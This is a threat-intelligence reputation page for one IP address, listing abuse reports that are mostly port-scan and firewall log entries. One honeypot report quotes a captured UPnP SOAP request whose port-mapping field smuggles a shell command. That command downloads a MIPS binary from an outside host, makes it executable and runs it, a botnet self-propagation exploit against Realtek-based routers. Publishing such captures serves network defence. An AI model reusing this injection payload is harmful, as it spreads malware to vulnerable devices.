JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 80.65.208.120

80.65.208.120 was found in our database!

This IP was reported 122 times. Confidence of Abuse is 100%: ?

100%

ISP	Contabo GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS141995
Hostname(s)	vmi1958085.contaboserver.net
Domain Name	contabo.com
Country	🇮🇳 India
City	Mumbai, Maharashtra

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 80.65.208.120

Whois 80.65.208.120

IP Abuse Reports for 80.65.208.120:

This IP address has been reported a total of 122 times from 63 distinct sources. 80.65.208.120 was first reported on June 16th 2026, and the most recent report was 1 hour ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 diego	2026-06-21 16:55:55 (1 hour ago)	[rede-164-29] 06/21/2026-13:55:55.326666, 80.65.208.120, Protocol: 6, ET CINS Active Threat Intellig ... show more [rede-164-29] 06/21/2026-13:55:55.326666, 80.65.208.120, Protocol: 6, ET CINS Active Threat Intelligence Poor Reputation IP group 118 show less	Hacking
🇳🇱 ByeByte API	2026-06-21 14:58:45 (3 hours ago)	byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-21T14:58:45Z. Source por ... show more byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-21T14:58:45Z. Source port 30830. TCP flags: SYN. Packet: 40B, TTL 49, window 5134, IP id 27739. Single packet, dropped at firewall. p0f: 15 hops. show less	Port Scan
🇺🇸 MPL	2026-06-21 13:18:44 (4 hours ago)	tcp/8080	Port Scan
🇩🇪 xserverx.ru	2026-06-21 10:12:40 (7 hours ago)	[UFW SCAN!!!!] SRC=80.65.208.120 LEN=40 TOS=0x00 PREC=0x00 TTL=46 PROTO=TCP SPT=35748 DPT=8080 WINDO ... show more [UFW SCAN!!!!] SRC=80.65.208.120 LEN=40 TOS=0x00 PREC=0x00 TTL=46 PROTO=TCP SPT=35748 DPT=8080 WINDOW=51948 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇧🇷 diego	2026-06-21 10:01:44 (8 hours ago)	[rede-164-29] 06/21/2026-07:01:44.632916, 80.65.208.120, Protocol: 6, ET CINS Active Threat Intellig ... show more [rede-164-29] 06/21/2026-07:01:44.632916, 80.65.208.120, Protocol: 6, ET CINS Active Threat Intelligence Poor Reputation IP group 118 show less	Hacking
🇳🇱 ByeByte API	2026-06-21 06:11:48 (11 hours ago)	byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-21T06:11:48Z. Source por ... show more byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-21T06:11:48Z. Source port 30830. TCP flags: SYN. Packet: 40B, TTL 49, window 5134, IP id 40961. Single packet, dropped at firewall. p0f: 15 hops. show less	Port Scan
🇳🇱 ByeByte API	2026-06-21 04:32:23 (13 hours ago)	byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-21T04:32:23Z. Source por ... show more byebyte.space auth: TCP packet to port 52869 (high-risk service) at 2026-06-21T04:32:23Z. Source port 36276. TCP flags: SYN. Packet: 40B, TTL 49, window 30812, IP id 65413. Single packet, dropped at firewall. p0f: 15 hops. show less	Port Scan
🇳🇱 VMHeaven.io	2026-06-21 01:15:33 (16 hours ago)	Blocked by UFW [52869/tcp] Source port: 30830 TTL: 49 Packet length: 40	Port Scan
🇳🇱 COMPLEX	2026-06-21 01:15:09 (16 hours ago)	Unsolicited TCP traffic \| Action: DROP \| Port 52869	Brute-Force
🇩🇪 Lazentis	2026-06-20 22:41:41 (19 hours ago)	Unauthorized access attempt to port 8080 (tcp)	Brute-Force SSH
🇬🇧 gbzret4d	2026-06-20 16:51:52 (1 day ago)	Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (co ... show more Honeypot [uk-production01]: HTTP/1.1 request on 52869 POST /picdesc.xml User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Accept: / Accept-Encoding: gzip, deflate POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf zuki; wget http://109.104.153.60/bins/frosty.mips -O zuki; chmod 777 zuki; ./zuki realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP show less	Hacking Bad Web Bot
🇩🇪 EinfxchFinn	2026-06-20 13:19:19 (1 day ago)	Unauthorized connection attempt to port 52869 from 80.65.208.120	Port Scan
🇧🇷 diego	2026-06-20 12:07:53 (1 day ago)	[rede-164-29] 06/20/2026-09:07:52.650981, 80.65.208.120, Protocol: 6, ET CINS Active Threat Intellig ... show more [rede-164-29] 06/20/2026-09:07:52.650981, 80.65.208.120, Protocol: 6, ET CINS Active Threat Intelligence Poor Reputation IP group 118 show less	Hacking
🇯🇵 VXG-NET	2026-06-20 08:16:29 (1 day ago)	port=80, indicator_type=code-execution	Hacking
🇩🇪 Admins@FBN	2026-06-20 08:11:58 (1 day ago)	Threat Host blocked...	Hacking Port Scan

Showing 1 to 15 of 122 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇨🇳 220.250.52.111

🇲🇩 212.0.217.14

🇧🇷 177.86.200.227

🇨🇱 136.248.242.166

🇮🇷 130.185.72.228

🇻🇳 103.241.43.193

🇺🇸 52.4.143.42

🇱🇹 45.227.254.170

🇨🇳 39.130.240.253

🇬🇧 35.203.210.209

🇸🇬 20.157.117.15

🇺🇸 20.80.88.160

🇺🇸 2604:a880:400:d1:0:4:9636:8001

🇪🇹 196.189.126.10

🇨🇳 58.17.6.119

🇨🇳 47.92.39.219

🇳🇱 45.148.10.200

🇩🇪 213.209.159.226

🇨🇳 120.48.122.43

🇨🇳 118.81.201.4